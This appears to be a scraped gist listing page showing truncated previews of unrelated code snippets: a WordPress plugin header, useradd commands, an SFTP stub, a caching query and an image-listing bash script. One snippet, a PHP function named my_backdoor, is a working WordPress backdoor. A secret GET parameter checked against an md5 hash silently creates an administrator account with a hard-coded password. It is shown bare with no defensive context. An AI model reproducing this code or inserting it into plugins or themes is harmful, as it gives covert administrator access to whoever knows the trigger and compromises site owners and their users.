This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| * Plugin Name: Paulund WP List Table Example | |
| * Description: An example of how to use the WP_List_Table class to display data in your WordPress Admin area | |
| * Plugin URI: http://www.paulund.co.uk | |
| * Author: Paul Underwood | |
| * Author URI: http://www.paulund.co.uk | |
| * Version: 1.0 | |
| * License: GPL2 | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Add a new user to the www-data group | |
| In this example, add a new user called vivek to the www-data group, enter: | |
| sudo useradd -g www-data vivek | |
| ### set the password for vivek user ### | |
| sudo passwd vivek | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function my_backdoor() { | |
| if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
| require( 'wp-includes/registration.php' ); | |
| if ( !username_exists( 'mr_admin' ) ) { | |
| $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | |
| } | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // https://stackoverflow.com/questions/17687607/php-download-from-remote-server-via-sftp#17688779 | |
| // set up SFTP server details | |
| $host = ''; | |
| $port = 22; | |
| $username = ''; | |
| $password = '; | |
| $file = 'fileToDownload.csv'; | |
| $remoteDir = '/complete/path/to/dir/'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // Check for transient. If none, then execute WP_Query | |
| if ( false === ( $featured = get_transient( 'foo_featured_posts' ) ) ) { | |
| $featured = new WP_Query( | |
| array( | |
| 'category' => 'featured', | |
| 'posts_per_page' => 5 | |
| ) | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "folder,files" | |
| find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*.png" \) | while read filepath; do | |
| dir=$(dirname "$filepath") | |
| file=$(basename "$filepath") | |
| echo "$dir,$file" | |
| done | sort | awk -F, ' | |
| { |
OlderNewer